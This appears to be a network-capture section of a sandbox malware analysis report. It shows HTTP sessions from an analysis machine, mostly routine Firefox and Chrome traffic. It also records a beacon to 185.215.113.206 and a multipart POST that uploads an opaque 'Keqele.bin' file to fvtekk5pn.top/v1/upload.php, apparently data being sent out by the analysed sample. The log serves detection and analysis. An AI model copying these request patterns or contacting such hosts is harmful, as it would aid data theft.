Nov 23, 2024 01:15:57.171300888 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 01:15:57.171363115 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 01:15:57.171399117 CET	1236	IN	Data Raw: 82 b7 66 02 aa e8 67 79 21 fb 19 c1 d0 35 bb 12 85 2c 81 62 44 ce b5 a2 15 a5 53 40 fb 2e 20 69 49 33 ca e6 ff 00 e1 22 99 78 5b 09 f0 ca 17 42 34 a2 47 13 78 b1 12 4f 22 c0 18 4d 32 ba de 74 30 89 77 03 aa bc 6b 2b 46 d5 46 49 d4 ab 18 f2 67 90 Data Ascii: fgy!5,bDS@. iI3"x[B4GxO"M2t0wk+FFIgifY@QC v8wo)E>wp`Gtr[7}plN+PJ\|>KitsI=L:=t*S6q^qZ.s$Hb5;Sqqn+Pa5&!0e%n,w~tm
Nov 23, 2024 01:15:57.171432018 CET	1236	IN	Data Raw: b6 b4 71 29 ee b4 7d 65 85 9b c6 08 2b d3 73 90 63 db 77 0d 52 ce 55 60 14 3c 5a 39 0e f3 6d 02 64 db ad 62 82 13 b6 07 9d 8e eb 80 0d b4 b1 02 64 17 7e d1 51 ff 81 16 40 28 94 cc 65 d3 95 6b 54 d0 cd ec 2a 37 63 bb 0d 33 42 02 a4 a0 ed f0 bb 4b Data Ascii: q)}e+scwRU`<Z9mdbd~Q@(ekT7c3BK$k5L_3G@>O;fn<gc)b2o2IMM:C7r\|Cfj6)q^gBZtCk2&Fu6;M7D3_k*Fy6kBb?Bj
Nov 23, 2024 01:15:57.171468973 CET	1236	IN	Data Raw: 4c a9 76 38 58 cb 71 74 71 1c 2e 02 39 9f 61 96 3e 8e 7f d1 7d a4 5d 58 29 ed a0 23 5f 6b 8b a6 47 dc a3 d5 3f 08 5c 46 b3 ea 0a 77 04 a1 aa ab 73 b3 8d 32 2e 1e ef 24 34 83 93 24 43 ee 81 ef bb a4 85 13 32 ea bd 3d 3d 79 ca 05 a6 44 57 f5 e0 9d Data Ascii: Lv8Xqtq.9a>}]X)#_kG?\Fws2.$4$C2==yDWmsvb#2cDeYr\|}\[X2y^LbjDO/$Q/~XNJDA^?_QwnxHAc8d-<^gq!ue#c;pBv={/s2u
Nov 23, 2024 01:15:57.291186094 CET	1236	IN	Data Raw: 25 fc 06 5c 1b af 10 6d 00 2b 1b 46 c7 8f 5f 62 d0 a4 63 c2 2f af b1 70 d3 d9 05 d8 2c bc 04 15 d0 bf bb 3e 63 a0 cf b7 50 68 15 cb 4e 7e 73 90 64 75 96 39 4d 11 46 41 64 81 6f 36 46 e0 85 3e d6 12 84 07 40 ee be 53 e3 d4 64 b2 93 1a 81 c7 43 6b Data Ascii: %\m+F_bc/p,>cPhN~sdu9MFAdo6F>@SdCkr8(\`a!cPJK@qN;OJSy%JoJ@*u5,>ksyX6WIM)ajyru,>y(2_H5MLs?Be/OU(}Z00y$/2l`

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.5	50152	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 01:16:01.252183914 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 23, 2024 01:16:02.385236979 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 22 Nov 2024 07:48:03 GMT Age: 59279 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 23, 2024 01:16:12.423608065 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 01:16:22.736197948 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 01:16:32.923614025 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.5	50162	185.215.113.206	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 01:16:01.553164959 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 23, 2024 01:16:02.885685921 CET	203	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:16:02 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.5	50208	34.116.198.130	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 01:16:20.955035925 CET	12360	OUT	POST /v1/upload.php HTTP/1.1 Host: fvtekk5pn.top Accept: / Content-Length: 35490 Content-Type: multipart/form-data; boundary=------------------------tQRw4ClgFlS8iM5HD7Mw3W Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 74 51 52 77 34 43 6c 67 46 6c 53 38 69 4d 35 48 44 37 4d 77 33 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4b 65 71 65 6c 65 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 58 43 d0 32 40 98 2b 53 00 16 bb c6 cc 7a e6 16 f0 4b b8 da bc 29 9b c4 cb c9 72 a2 de e3 c2 03 c1 9d 7b a4 78 4d 1c 0b ee 21 38 16 21 96 32 db 6b c3 ad e2 e0 16 54 7a ee bd 3a 1d 74 39 40 af d4 3a 13 9f 71 66 b7 72 3f bc 09 e3 d3 30 76 bd fb a9 68 73 f3 b0 04 5d 42 58 ff 57 95 03 24 03 0e 2f 43 b0 e1 90 d7 82 4a 4b b4 8d 04 aa 08 25 00 ba 07 4c 40 70 94 6a c2 b8 0f 74 9a 17 8c 8f 7f 80 18 b1 0a 09 5a 32 15 96 56 98 a6 4e 37 ff d8 04 7f 6f 38 00 dd 0e c1 d5 21 34 b2 6b b7 fa 5b ca 4e db 93 51 e5 9b 0b 04 8d 75 d6 1f 02 6a b1 fe [TRUNCATED] Data Ascii: --------------------------tQRw4ClgFlS8iM5HD7Mw3WContent-Disposition: form-data; name="file"; filename="Keqele.bin"Content-Type: application/octet-streamXC2@+SzK)r{xM!8!2kTz:t9@:qfr?0vhs]BXW$/CJK%L@pjtZ2VN7o8!4k[NQuj[}#RK(MF_1kC"myPTP?\XHvt^LrC?'gUmz0G\|h._uL@ZnEQILY4E[Ag:kM-M^,TIic_$CnvJe)RI'=ykpLH;x7a"~ph::v&aM!71HQ,)}Qn/)lh^%1Ize._'39}(eF[D:HVc-cWZXGEvd?ICzg0-TWgM iXM\<VZ\se;oJLTuT``{[6KBk!oP*O#3w}uq=,~$b1E0_`iE]M9ilwZqke/fzR\|9;Z5JJ5aq6)N8a3jD5rQ@pjcr%j)mzEay^A%V[?E3Wux-GSvp;,@7Fxc^ [TRUNCATED]
Nov 23, 2024 01:16:21.074738026 CET	2472	OUT	Data Raw: 9c 63 b5 66 42 8a 5d 7c b8 b2 a0 91 6a ce 8b fd 53 62 db 1e 6a 27 fa 82 50 f7 f1 52 ba 44 f4 d1 41 f4 9c 5f ed 1f 0f f7 09 3f 7a ba 69 78 93 5f d4 74 6c f5 ea 83 84 c0 4d 2b 40 39 ac 6f 84 d4 10 40 18 1d 47 ae b8 dc e5 b6 27 12 8c e6 90 f1 f0 6c Data Ascii: cfB]\|jSbj'PRDA_?zix_tlM+@9o@G'l2B%_S0\oc:kRKh"^EAp1e@W<<yo%Ng)BtSS\.Bf:y3xW[I8/Ys"-r\|5P
Nov 23, 2024 01:16:21.074779034 CET	2472	OUT	Data Raw: 20 b3 59 e6 50 48 65 0c 87 fb 91 39 3e d2 e4 7b 91 0d 1f 6b ea 3a d2 e8 14 bb cd ff 50 36 3c 53 2a db 01 07 ad 46 0f a3 97 57 1f 86 b2 94 3d 34 5c 18 bf a1 3a 37 fb cf 6f 6b 05 57 2a 95 ac ab 3b c9 72 a4 61 ec fc a2 f7 0a 94 01 4d 4d 24 25 ea 20 Data Ascii: YPHe9>{k:P6<SFW=4\:7okW;raMM$% l[M1m-^v/zLmlYjt>WF{?7/,QLun3]4'\)w9y^ss64rOlTf_6A(SwtIgMHV^t
Nov 23, 2024 01:16:21.074995995 CET	2472	OUT	Data Raw: 09 90 b7 16 a4 91 cd a1 a6 bd 5a b2 68 d1 b3 27 d3 47 5c 6e 6b 1a eb ae 10 90 bb d1 1c 1a 94 5e b5 88 ff 58 e7 b1 ff 74 82 d2 a1 4f e1 33 8c 11 14 f5 aa 59 fd fc 25 df 07 13 5a 75 12 0c 61 f5 17 05 b6 72 a1 3b 0c 35 0d e0 78 cc 73 93 e4 21 eb 11 Data Ascii: Zh'G\nk^XtO3Y%Zuar;5xs!dQ\|8pGdf0+odm]f#)`z~>N7erRI(_H(@C~!3yDgZrcxGH{1V^$fQB{>ZEJOCcb$
Nov 23, 2024 01:16:21.075012922 CET	2472	OUT	Data Raw: 3c 8d cd 46 0a 78 a1 d5 7b 49 18 16 e0 9e bf c9 83 db cb 63 a1 ca b4 be b7 c8 94 3a 04 40 fd 34 b1 2a 8b 60 87 b6 a1 bf a1 aa 51 ed 21 13 5a c6 79 9f 2c 76 05 c7 17 d5 30 ab 6c ff a6 f1 57 17 d9 a0 7e f9 cb 86 d5 c4 ce 9f 9b da 41 f6 f4 19 e2 20 Data Ascii: <Fx{Ic:@4`Q!Zy,v0lW~A GSEp>FyBqVl_G 3!;d0up3@oxJD`EL%qk;K(3;Pp+OYwW,,^WRu( lU*~$kttdt}WN?7I9.
Nov 23, 2024 01:16:21.075054884 CET	2472	OUT	Data Raw: ad 99 17 f8 ac c1 a3 f3 52 b3 cf 14 ab d0 28 fc e9 78 6f 8f d2 3f 6d 32 f0 19 25 8e 05 82 ec fa 93 f5 23 3d 70 48 85 bf b7 6a 5d e2 72 03 46 c4 6b d4 ce bf c5 f6 c7 ad 55 e7 1e 5c 66 e2 2f c7 1c cc 44 13 c5 46 60 4b 7f 26 bd 0d 68 10 eb ee ce 70 Data Ascii: R(xo?m2%#=pHj]rFkU\f/DF`K&hp[T&LU r~9LH:\|L?66f4^05:;>R\" &lFmrd6eKZ_65vbQPA&H{W@U6DBMsq[
Nov 23, 2024 01:16:21.075089931 CET	2472	OUT	Data Raw: 88 81 3e 43 44 ba 70 b8 3f 98 7a a3 e1 b7 0b 4f 41 0b 4c 18 00 35 e7 dd 02 43 07 b6 76 41 aa 83 6b 43 97 dc 9f 9b a3 bc af 63 5e dc 93 9a 5d 3a 88 0b 3c 2c 05 5c 7a 2f 55 44 29 90 83 de 16 6f fb ec d5 8d 85 95 e8 e4 76 04 ce 5a 9e 41 38 ba ec 6f Data Ascii: >CDp?zOAL5CvAkCc^]:<,\z/UD)ovZA8oKUe,?+x)Xe+_s[Er!$09y <lTt_@D6\|0$'wSg_[.[e^km75yQeTK'p%rumj}@Oiu,V-
Nov 23, 2024 01:16:21.075176954 CET	2472	OUT	Data Raw: 4c ce bf 6c 15 34 57 84 9d 6e a1 a8 bc a6 d8 1f 7a 02 7d 65 6e 7a fe 20 a2 17 f4 4d 06 cb 74 90 4e 5c ed 79 96 4e ca 1d 69 64 df df 8c 8c 29 c0 5a 52 e3 7e 76 00 7f c5 c7 46 c5 bc e6 03 8d 08 48 d3 5c 8a af aa 16 08 0d e4 5e 06 52 52 dc 91 02 c2 Data Ascii: Ll4Wnz}enz MtN\yNid)ZR~vFH\^RRc!mhHzWIk.Uzvw}>^PwM@NREBnzpa;wQg(uE;@92")IbW}{eZ4}!F>Y0scs E
Nov 23, 2024 01:16:21.075225115 CET	2472	OUT	Data Raw: 2d c1 bf 65 eb 07 35 b4 0b 67 1f c2 67 12 a6 37 32 a0 bc 61 d9 96 f7 19 74 d7 97 2a ee c0 a7 7d 71 3b 2b 4a b5 b1 34 50 e0 03 bc cd a1 13 ed c4 55 72 bb c8 f7 88 2d 9b ce 8e 1d 7f 6a 5f 08 1c da 02 53 9b 77 4f 42 2a a2 e6 0c 2d e2 a0 e2 19 3a 00 Data Ascii: -e5gg72at}q;+J4PUr-j_SwOB-:/5@wHa*JcY,$+)^9/Ldg:MRurlMCgs#pe'o()p`o_nPz~b\|!CSI
Nov 23, 2024 01:16:21.075378895 CET	2472	OUT	Data Raw: 18 57 d9 9c 2b 12 7d 31 ee ae d9 a5 a4 cf 15 c6 18 2e 18 82 18 c5 52 da cd c7 5a dc 92 06 73 f0 3b 83 19 59 c6 5d 72 17 7c 2a a3 55 45 d9 8c c2 b0 04 74 23 f0 78 fd ed b1 c7 91 be a2 5d 8f 2b bb 5e 60 e2 1c a5 d5 d5 87 f1 23 c2 3c b0 c9 12 4b 5b Data Ascii: W+}1.RZs;Y]r\|UEt#x]+^`#<K[o=b2]['Ub=Ql2NR`V?71GC-^_+x\|#=>m);4G&h_a; kiPm=&B-H/_Z
Nov 23, 2024 01:16:21.075396061 CET	1063	OUT	Data Raw: c4 2e 9c 0e 10 76 21 d7 3a 7a 30 2c 02 b1 57 d2 af ac 67 1c 9a 05 27 c7 af d5 43 c6 31 2f 8a 13 3c 80 08 73 b5 9c 23 a6 75 3d 8f c8 33 10 cc d8 3e ce 90 7d 4b 42 03 b7 ba 1a a1 27 23 ee bc 9e 9b 83 c9 9b 7b 25 5a b4 c3 88 57 7c 7a e6 15 27 a7 6e Data Ascii: .v!:z0,Wg'C1/<s#u=3>}KB'#{%ZW\|z'nUM8O;[$LT&SPq1$Xt7b3i0 Yn>SBOF,1GrT.:Sv8Nw8pZ/=~=.k/j$iscl3
Nov 23, 2024 01:16:22.573749065 CET	190	IN	HTTP/1.1 200 OK server: nginx/1.24.0 (Ubuntu) date: Sat, 23 Nov 2024 00:16:22 GMT content-type: text/plain; charset=utf-8 content-length: 2 etag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49709	172.217.21.36	443	7184	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:09 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49708	172.217.21.36	443	7184	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:09 UTC	623	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCI/KzQEIucrNAQi/0c0BCIrTzQEI0NbNAQio2M0BCPnA1BUYj87NARi60s0BGMLYzQEY642lFw== Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-23 00:14:10 UTC	1266	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:14:10 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-wgkecLa2eZ5T2wY07rMYrw' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-23 00:14:10 UTC	124	IN	Data Raw: 33 31 65 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 67 6f 6f 67 6c 65 20 63 68 72 6f 6d 65 20 62 72 6f 77 73 65 72 22 2c 22 32 30 32 35 20 63 6f 61 63 68 65 6c 6c 61 20 6c 69 6e 65 75 70 22 2c 22 6a 61 6d 65 73 20 77 65 62 62 20 74 65 6c 65 73 63 6f 70 65 22 2c 22 75 73 20 6e 61 76 79 20 79 65 6f 6d 61 6e 20 6b 65 6e 64 72 61 20 6d 63 64 61 6e 69 65 6c 22 2c 22 6e 61 73 63 Data Ascii: 31e)]}'["",["google chrome browser","2025 coachella lineup","james webb telescope","us navy yeoman kendra mcdaniel","nasc
2024-11-23 00:14:10 UTC	681	IN	Data Raw: 61 72 20 6c 61 77 73 75 69 74 20 61 70 70 65 61 6c 20 32 33 78 69 20 66 72 6d 22 2c 22 6d 6f 6e 6f 70 6f 6c 79 20 67 6f 20 73 70 61 63 65 20 73 70 72 6f 75 74 73 20 72 65 77 61 72 64 73 22 2c 22 63 61 73 68 20 61 70 70 20 63 6c 61 73 73 20 61 63 74 69 6f 6e 20 6c 61 77 73 75 69 74 22 2c 22 73 75 6d 6d 65 72 20 73 69 74 75 61 74 69 6f 6e 73 68 69 70 20 66 75 6c 6c 20 6d 6f 76 69 65 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 48 4a 6c 62 6d 52 70 62 6d 63 67 63 32 56 Data Ascii: ar lawsuit appeal 23xi frm","monopoly go space sprouts rewards","cash app class action lawsuit","summer situationship full movie"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2V
2024-11-23 00:14:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49706	172.217.21.36	443	7184	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:09 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-23 00:14:10 UTC	933	IN	HTTP/1.1 200 OK Version: 698289427 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Sat, 23 Nov 2024 00:14:10 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-23 00:14:10 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-11-23 00:14:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49707	172.217.21.36	443	7184	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:09 UTC	526	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCI/KzQEIucrNAQi/0c0BCIrTzQEI0NbNAQio2M0BCPnA1BUYj87NARi60s0BGMLYzQEY642lFw== Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-23 00:14:10 UTC	1018	IN	HTTP/1.1 200 OK Version: 698289427 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Sat, 23 Nov 2024 00:14:10 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-23 00:14:10 UTC	372	IN	Data Raw: 32 30 63 38 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 20c8)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-11-23 00:14:10 UTC	1390	IN	Data Raw: 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 33 64 5c 22 30 20 30 20 32 34 20 32 34 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 Data Ascii: class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u0
2024-11-23 00:14:10 UTC	1390	IN	Data Raw: 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 Data Ascii: 003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" 